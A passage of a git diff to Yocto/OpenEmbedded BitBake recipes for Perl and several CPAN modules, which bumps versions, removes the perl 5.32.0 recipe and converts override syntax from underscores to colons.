-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-CPAN_NAME = "Test-Needs"
-CPAN_AUTHOR = "HAARG"
-
-LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
-
-DEPENDS += "perl"
-
-SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "d5c96d51d8d5510f7c0b7f354c49af1c"
-SRC_URI[sha256sum] = "77f9fff0c96c5e09f34d0416b3533c3319f7cd0bb1f7fe8f8072ad59f433f0e5"
-
-S = "${WORKDIR}/${CPAN_NAME}-${PV}"
-
-inherit cpan ptest-perl
-
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb
new file mode 100644
index 0000000000..05383752ea
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Skip tests when modules not available"
+DESCRIPTION = "Skip test scripts if modules are not available. \
+The requested modules will be loaded, and optionally have their versions \
+checked. If the module is missing, the test script will be skipped. Modules \
+that are found but fail to compile will exit with an error rather than skip."
+
+HOMEPAGE = "https://metacpan.org/release/Test-Needs"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0+"
+
+CPAN_NAME = "Test-Needs"
+CPAN_AUTHOR = "HAARG"
+
+LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
+
+DEPENDS += "perl"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
+
+SRC_URI[md5sum] = "5643cd323afb77d20363acbaf9b12bcc"
+SRC_URI[sha256sum] = "571c21193ad16195df58b06b268798796a391b398c443271721d2cc0fb7c4ac3"
+
+S = "${WORKDIR}/${CPAN_NAME}-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liburi-perl_1.74.bb b/meta/recipes-devtools/perl/liburi-perl_1.74.bb
deleted file mode 100644
index c27765bcbc..0000000000
--- a/meta/recipes-devtools/perl/liburi-perl_1.74.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Perl module to manipulate and access URI strings"
-DESCRIPTION = "This package contains the URI.pm module with friends. \
-The module implements the URI class. URI objects can be used to access \
-and manipulate the various components that make up these strings."
-
-HOMEPAGE = "http://search.cpan.org/dist/URI/"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c453e94fae672800f83bc1bd7a38b53f"
-
-DEPENDS += "perl"
-
-SRC_URI = "http://www.cpan.org/authors/id/E/ET/ETHER/URI-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "892f7183b178af40f205ba37128225db"
-SRC_URI[sha256sum] = "a9c254f45f89cb1dd946b689dfe433095404532a4543bdaab0b71ce0fdcdd53d"
-
-S = "${WORKDIR}/URI-${PV}"
-
-EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
-
-inherit cpan ptest-perl
-
-do_compile() {
- export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
- cpan_do_compile
-}
-
-do_install_prepend() {
- # these tests require "-T" (taint) command line option
- rm -rf ${B}/t/cwd.t
- rm -rf ${B}/t/file.t
-}
-
-RDEPENDS_${PN} += "perl-module-integer perl-module-mime-base64"
-RDEPENDS_${PN}-ptest += " \
- libtest-needs-perl \
- perl-module-test-more \
- perl-module-test \
- perl-module-utf8 \
- perl-module-extutils-makemaker \
- perl-module-net-domain \
- perl-module-encode \
- perl-module-extutils-mm-unix \
- perl-module-file-spec-functions \
- perl-module-perlio \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liburi-perl_5.08.bb b/meta/recipes-devtools/perl/liburi-perl_5.08.bb
new file mode 100644
index 0000000000..0cc27e8625
--- /dev/null
+++ b/meta/recipes-devtools/perl/liburi-perl_5.08.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Perl module to manipulate and access URI strings"
+DESCRIPTION = "This package contains the URI.pm module with friends. \
+The module implements the URI class. URI objects can be used to access \
+and manipulate the various components that make up these strings."
+
+HOMEPAGE = "http://search.cpan.org/dist/URI/"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0+"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c453e94fae672800f83bc1bd7a38b53f"
+
+DEPENDS += "perl"
+
+SRC_URI = "http://www.cpan.org/authors/id/E/ET/ETHER/URI-${PV}.tar.gz"
+
+SRC_URI[md5sum] = "cdbbf8f8ccdec5c162c8505077a35c2c"
+SRC_URI[sha256sum] = "7e2c6fe3b1d5947da334fa558a96e748aaa619213b85bcdce5b5347d4d26c46e"
+
+S = "${WORKDIR}/URI-${PV}"
+
+EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
+
+inherit cpan ptest-perl
+
+do_compile() {
+ export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
+ cpan_do_compile
+}
+
+do_install:prepend() {
+ # these tests require "-T" (taint) command line option
+ rm -rf ${B}/t/cwd.t
+ rm -rf ${B}/t/file.t
+}
+
+RDEPENDS:${PN} += "perl-module-integer perl-module-mime-base64"
+RDEPENDS:${PN}-ptest += " \
+ libtest-needs-perl \
+ perl-module-test-more \
+ perl-module-test \
+ perl-module-utf8 \
+ perl-module-extutils-makemaker \
+ perl-module-net-domain \
+ perl-module-encode \
+ perl-module-extutils-mm-unix \
+ perl-module-file-spec-functions \
+ perl-module-perlio \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb b/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
index bc154bbdc5..3b9206e984 100644
--- a/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
+++ b/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
@@ -21,13 +21,13 @@ inherit cpan ptest-perl
# fix up sub MakeMaker project as arguments don't get propagated though
# see https://rt.cpan.org/Public/Bug/Display.html?id=28632
-do_configure_append_class-target() {
+do_configure:append:class-target() {
sed -E \
-e 's:-L${STAGING_LIBDIR}::g' -e 's:-I${STAGING_INCDIR}::g' \
-i Makefile Expat/Makefile
}
-do_configure_append() {
+do_configure:append() {
sed -e 's:--sysroot=.*\(\s\|$\):--sysroot=${STAGING_DIR_TARGET} :g' \
-i Makefile Expat/Makefile
sed 's:^FULL_AR = .*:FULL_AR = ${AR}:g' -i Expat/Makefile
@@ -40,7 +40,7 @@ do_compile() {
cpan_do_compile
}
-do_compile_class-native() {
+do_compile:class-native() {
cpan_do_compile
}
@@ -53,6 +53,6 @@ do_install_ptest() {
chown -R root:root ${D}${PTEST_PATH}/samples
}
-RDEPENDS_${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-devtools/perl/libxml-perl_0.08.bb b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
index 818ae3d571..b77ad24b58 100644
--- a/meta/recipes-devtools/perl/libxml-perl_0.08.bb
+++ b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
@@ -26,5 +26,5 @@ do_compile() {
cpan_do_compile
}
-RDEPENDS_${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
-RDEPENDS_${PN}-ptest += "libxml-parser-perl perl-module-file-glob"
+RDEPENDS:${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
+RDEPENDS:${PN}-ptest += "libxml-parser-perl perl-module-file-glob"
diff --git a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
index 53788d5585..e2938226a9 100644
--- a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
+++ b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
@@ -21,13 +21,13 @@ EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
inherit cpan ptest-perl
-RDEPENDS_${PN} += " \
+RDEPENDS:${PN} += " \
libxml-namespacesupport-perl \
libxml-parser-perl \
libxml-sax-perl \
"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-file-temp \
perl-module-test-more \
"
diff --git a/meta/recipes-devtools/perl/perl-ptest.inc b/meta/recipes-devtools/perl/perl-ptest.inc
index 98e3361fcc..54c7807571 100644
--- a/meta/recipes-devtools/perl/perl-ptest.inc
+++ b/meta/recipes-devtools/perl/perl-ptest.inc
@@ -47,7 +47,7 @@ do_install_ptest () {
rm ${D}${PTEST_PATH}/Makefile.config ${D}${PTEST_PATH}/xconfig.h ${D}${PTEST_PATH}/xconfig.sh
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
# Put all *.t files from the lib dir in the ptest package
# do_split_packages requires a pair of () in the regex, but we have nothing
# to match, so use an empty pair.
@@ -56,8 +56,8 @@ python populate_packages_prepend() {
'${PN}-ptest%s', '%s', recursive=True, match_path=True)
}
-RDEPENDS_${PN}-ptest += "${PN}-modules ${PN}-doc sed"
+RDEPENDS:${PN}-ptest += "${PN}-modules ${PN}-doc sed"
# The perl-ptest package contains Perl internal modules and generating file
# dependencies for it causes problems.
-SKIP_FILEDEPS_${PN}-ptest = '1'
+SKIP_FILEDEPS:${PN}-ptest = '1'
diff --git a/meta/recipes-devtools/perl/perl_5.32.0.bb b/meta/recipes-devtools/perl/perl_5.32.0.bb
deleted file mode 100644
index bba8263b90..0000000000
--- a/meta/recipes-devtools/perl/perl_5.32.0.bb
+++ /dev/null
@@ -1,389 +0,0 @@
-SUMMARY = "Perl scripting language"
-HOMEPAGE = "http://www.perl.org/"
-SECTION = "devel"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
- file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
- "
-
-
-SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
- https://github.com/arsv/perl-cross/releases/download/1.3.4/perl-cross-1.3.4.tar.gz;name=perl-cross \
- file://perl-rdepends.txt \
- file://0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch \
- file://0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch \
- file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
- file://errno_ver.diff \
- file://native-perlinc.patch \
- file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
- file://perl-dynloader.patch \
- file://0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch \
- file://0002-Constant-Fix-up-shebang.patch \
- file://determinism.patch \
- file://perl-cross-makefile.patch \
- "
-SRC_URI_append_class-native = " \
- file://perl-configpm-switch.patch \
-"
-SRC_URI_append_class-target = " \
- file://encodefix.patch \
-"
-
-SRC_URI[perl.sha256sum] = "efeb1ce1f10824190ad1cadbcccf6fdb8a5d37007d0100d2d9ae5f2b5900c0b4"
-SRC_URI[perl-cross.sha256sum] = "755aa0ca8141a942188a269564f86c3c82349f82c346ed5c992495d7f35138ba"
-
-S = "${WORKDIR}/perl-${PV}"
-
-inherit upstream-version-is-even update-alternatives
-
-DEPENDS += "zlib virtual/crypt"
-
-PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
-
-PACKAGECONFIG ??= "bdb gdbm"
-PACKAGECONFIG[bdb] = ",-Ui_db,db"
-PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
-
-# Don't generate comments in enc2xs output files. They are not reproducible
-export ENC2XS_NO_COMMENTS = "1"
-
-do_unpack_append() {
- bb.build.exec_func('do_copy_perlcross', d)
-}
-
-do_copy_perlcross() {
- cp -rfp ${WORKDIR}/perl-cross*/* ${S}
-}
-
-do_configure_class-target() {
- ./configure --prefix=${prefix} --libdir=${libdir} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
- #adds the archlibexp path to @INC during run-time initialization of a
- #new perl interpreter.
-
- #Because we've changed this value in a temporary way to make it
- #possible to use ExtUtils::Embed in the target build (the temporary
- #value in config.sh gets re-stripped out during packaging), the
- #ARCHLIB_EXP value that gets generated still uses the temporary version
- #instead of the original expected version (i.e. becauses it's in the
- #generated config.h, it doesn't get stripped out during packaging like
- #the others in config.sh).
-
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-nativesdk() {
- ./configure --prefix=${prefix} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- # See the comment above
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-native() {
- ./configure --prefix=${prefix} \
- -Dbin=${bindir}/perl-native \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Ui_xlocale \
- ${PACKAGECONFIG_CONFARGS}
-}
-
-do_configure_append() {
- if [ -n "$SOURCE_DATE_EPOCH" ]; then
- PERL_BUILD_DATE="$(${PYTHON} -c "\
-from datetime import datetime, timezone; \
-print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
- ")"
- echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
- fi
-}
-
-do_compile() {
- oe_runmake
- # This isn't generated reliably so delete and re-generate.
- # https://github.com/arsv/perl-cross/issues/86
-
- if [ -e pod/perltoc.pod ]; then
- bbnote Rebuilding perltoc.pod
- rm -f pod/perltoc.pod
- oe_runmake pod/perltoc.pod
- fi
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${libdir}/perl5
- install -d ${D}${libdir}/perl5/${PV}/
- install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Save native config
- install config.sh ${D}${libdir}/perl5
- install lib/Config.pm ${D}${libdir}/perl5/${PV}/
- install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Fix up shared library
- rm ${D}/${libdir}/perl5/${PV}/*/CORE/libperl.so
- ln -sf ../../../../libperl.so.${PERL_LIB_VER} $(echo ${D}/${libdir}/perl5/${PV}/*/CORE)/libperl.so
-
- # Try to catch Bug #13946
- if [ -e ${D}/${libdir}/perl5/${PV}/Storable.pm ]; then
- bbfatal 'non-arch specific Storable.pm found! See https://bugzilla.yoctoproject.org/show_bug.cgi?id=13946'
- fi
-}
-
-do_install_append_class-target() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
- # This contains host-specific information used for building miniperl (a helper executable built with host compiler)
- # and therefore isn't reproducible. I believe the file isn't actually needed on target.
- rm ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h
-}
-
-do_install_append_class-nativesdk() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
- create_wrapper ${D}${bindir}/perl \
- PERL5LIB='$PERL5LIB:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/site_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/vendor_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/${PV}'
-}
-
-do_install_append_class-native () {
- # Those wrappers mean that perl installed from sstate (which may change
- # path location) works and that in the nativesdk case, the SDK can be
- # installed to a different location from the one it was built for.
- create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
-
- # Use /usr/bin/env nativeperl for the perl script.
- for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
- sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
- done
-}
-
-PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
-
-perl_package_preprocess () {
- # Fix up installed configuration
- sed -i -e "s,${D},,g" \
- -e "s,${DEBUG_PREFIX_MAP},,g" \
- -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
- -e "s,-isystem${STAGING_INCDIR} ,,g" \
- -e "s,${STAGING_LIBDIR},${libdir},g" \
- -e "s,${STAGING_BINDIR},${bindir},g" \
- -e "s,${STAGING_INCDIR},${includedir},g" \
- -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
- -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
- -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
- -e 's:${RECIPE_SYSROOT}::g' \
- ${PKGD}${bindir}/h2xs.perl \
- ${PKGD}${bindir}/h2ph.perl \
- ${PKGD}${bindir}/pod2man.perl \
- ${PKGD}${bindir}/pod2text.perl \
- ${PKGD}${bindir}/pod2usage.perl \
- ${PKGD}${bindir}/podchecker.perl \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
- ${PKGD}${libdir}/perl5/${PV}/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
- ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
- ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
- ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
- ${PKGD}${libdir}/perl5/config.sh
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-misc = "corelist cpan enc2xs encguess h2ph h2xs instmodsh json_pp libnetcfg \
- piconv pl2pm pod2html pod2man pod2text pod2usage podchecker \
- prove ptar ptardiff ptargrep shasum splain xsubpp zipdetails"
-ALTERNATIVE_LINK_NAME[corelist] = "${bindir}/corelist"
-ALTERNATIVE_LINK_NAME[cpan] = "${bindir}/cpan"
-ALTERNATIVE_LINK_NAME[enc2xs] = "${bindir}/enc2xs"
-ALTERNATIVE_LINK_NAME[encguess] = "${bindir}/encguess"
-ALTERNATIVE_LINK_NAME[h2ph] = "${bindir}/h2ph"
-ALTERNATIVE_LINK_NAME[h2xs] = "${bindir}/h2xs"
-ALTERNATIVE_LINK_NAME[instmodsh] = "${bindir}/instmodsh"
-ALTERNATIVE_LINK_NAME[json_pp] = "${bindir}/json_pp"
-ALTERNATIVE_LINK_NAME[libnetcfg] = "${bindir}/libnetcfg"
-ALTERNATIVE_LINK_NAME[piconv] = "${bindir}/piconv"
-ALTERNATIVE_LINK_NAME[pl2pm] = "${bindir}/pl2pm"
-ALTERNATIVE_LINK_NAME[pod2html] = "${bindir}/pod2html"
-ALTERNATIVE_LINK_NAME[pod2man] = "${bindir}/pod2man"
-ALTERNATIVE_LINK_NAME[pod2text] = "${bindir}/pod2text"
-ALTERNATIVE_LINK_NAME[pod2usage] = "${bindir}/pod2usage"
-ALTERNATIVE_LINK_NAME[podchecker] = "${bindir}/podchecker"
-ALTERNATIVE_LINK_NAME[prove] = "${bindir}/prove"
-ALTERNATIVE_LINK_NAME[ptar] = "${bindir}/ptar"
-ALTERNATIVE_LINK_NAME[ptardiff] = "${bindir}/ptardiff"
-ALTERNATIVE_LINK_NAME[ptargrep] = "${bindir}/ptargrep"
-ALTERNATIVE_LINK_NAME[shasum] = "${bindir}/shasum"
-ALTERNATIVE_LINK_NAME[splain] = "${bindir}/splain"
-ALTERNATIVE_LINK_NAME[xsubpp] = "${bindir}/xsubpp"
-ALTERNATIVE_LINK_NAME[zipdetails] = "${bindir}/zipdetails"
-
-require perl-ptest.inc
-
-FILES_${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
- ${libdir}/perl5/site_perl \
- ${libdir}/perl5/${PV}/Config.pm \
- ${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
- ${libdir}/perl5/${PV}/*/Config_git.pl \
- ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
- ${libdir}/perl5/config.sh \
- ${libdir}/perl5/${PV}/strict.pm \
- ${libdir}/perl5/${PV}/warnings.pm \
- ${libdir}/perl5/${PV}/warnings \
- ${libdir}/perl5/${PV}/vars.pm \
- ${libdir}/perl5/site_perl \
- ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
- ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
- ${libdir}/perl5/${PV}/ExtUtils/typemap \
- "
-RPROVIDES_${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
- perl-module-warnings-register"
-
-FILES_${PN}-staticdev_append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
-
-FILES_${PN}-dev_append = " ${libdir}/perl5/${PV}/*/CORE"
-
-FILES_${PN}-doc_append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
- ${libdir}/perl5/${PV}/*/.packlist \
- ${libdir}/perl5/${PV}/Encode/encode.h \
- "
-PACKAGES += "${PN}-misc"
-
-FILES_${PN}-misc = "${bindir}/*"
-
-PACKAGES += "${PN}-pod"
-
-FILES_${PN}-pod = "${libdir}/perl5/${PV}/pod \
- ${libdir}/perl5/${PV}/*.pod \
- ${libdir}/perl5/${PV}/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*/*.pod \
- "
-
-PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
-
-FILES_${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
- "
-FILES_${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
-
-ALTERNATIVE_PRIORITY = "40"
-ALTERNATIVE_${PN}-doc = "Thread.3"
-ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
-
-# Create a perl-modules package recommending all the other perl
-# packages (actually the non modules packages and not created too)
-ALLOW_EMPTY_${PN}-modules = "1"
-PACKAGES += "${PN}-modules "
-
-PACKAGESPLITFUNCS_prepend = "split_perl_packages "
-
-python split_perl_packages () {
- libdir = d.expand('${libdir}/perl5/${PV}')
- do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/|.*linux\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
-
- # perl-modules should recommend every perl module, and only the
- # modules. Don't attempt to use the result of do_split_packages() as some
- # modules are manually split (eg. perl-module-unicore).
- packages = filter(lambda p: 'perl-module-' in p, d.getVar('PACKAGES').split())
- d.setVar(d.expand("RRECOMMENDS_${PN}-modules"), ' '.join(packages))
-
- # Read the pre-generated dependency file, and use it to set module dependecies
- for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
- splitline = line.split()
- if bb.data.inherits_class('native', d):
- module = splitline[0] + '-native'
- depends = "perl-native"
- else:
- module = splitline[0].replace("RDEPENDS_perl", "RDEPENDS_${PN}")
- depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
- d.appendVar(d.expand(module), " " + depends)
-}
-
-python() {
- if d.getVar('CLASSOVERRIDE') == "class-target":
- d.setVar("PACKAGES_DYNAMIC", "^${MLPREFIX}perl-module-.*(?<!native)$")
- elif d.getVar('CLASSOVERRIDE') == "class-native":
- d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
- elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
- d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
-}
-
-RDEPENDS_${PN}-misc += "perl perl-modules"
-RDEPENDS_${PN}-pod += "perl"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
-
-do_create_rdepends_inc() {
- cd ${WORKDIR}
- cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
-
-# Some additional dependencies that the above doesn't manage to figure out
-RDEPENDS_${PN}-module-file-spec += "${PN}-module-file-spec-unix"
-RDEPENDS_${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
-RDEPENDS_${PN}-module-thread-queue += "${PN}-module-attributes"
-RDEPENDS_${PN}-module-overload += "${PN}-module-overloading"
-
-# Generated depends list beyond this line
-EOPREAMBLE
- test -e packages-split.new && rm -rf packages-split.new
- cp -r packages-split packages-split.new && cd packages-split.new
- find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
- egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
- sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;" | tr [:upper:] [:lower:] | \
- awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
- grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
- sort -u | \
- sed 's/^/RDEPENDS_/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
- egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-test2|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
- egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' >> ${WORKDIR}/perl-rdepends.generated
- cp ${WORKDIR}/perl-rdepends.generated ${THISDIR}/files/perl-rdepends.txt
-}
-
-# bitbake perl -c create_rdepends_inc
-addtask do_create_rdepends_inc
-
-SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
-
-perl_sysroot_create_wrapper () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- # Create a wrapper that /usr/bin/env perl will use to get perl-native.
- # This MUST live in the normal bindir.
- cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
-#!/bin/sh
-realpath=\`readlink -fn \$0\`
-exec \`dirname \$realpath\`/perl-native/perl "\$@"
-EOF
